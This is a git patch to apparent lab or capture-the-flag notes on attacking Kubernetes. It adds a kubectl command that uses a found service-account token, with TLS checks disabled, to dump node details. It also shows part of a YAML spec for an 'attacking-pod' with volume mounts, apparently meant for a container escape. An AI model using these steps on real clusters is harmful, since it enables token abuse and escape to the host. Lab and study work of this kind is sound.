From b8e4ca978238a91032c1aa4ae6bb8671c182f29f Mon Sep 17 00:00:00 2001 From: whx Date: Tue, 6 Sep 2022 22:01:26 +0200 Subject: [PATCH] added node info for attacking-pod image --- exploit/level3_hypervisor/kubernetes.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/exploit/level3_hypervisor/kubernetes.md b/exploit/level3_hypervisor/kubernetes.md index 9c41c61..e57bc07 100644 --- a/exploit/level3_hypervisor/kubernetes.md +++ b/exploit/level3_hypervisor/kubernetes.md @@ -25,6 +25,7 @@ kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET ```sh kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pods kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pod -o yaml +kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get nodes -o yaml ``` * Use a found image to create the following yaml file ```yaml @@ -34,8 +35,8 @@ metadata: name: attacking-pod spec: containers: - - image: - name: + - image: + name: command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumeMounts: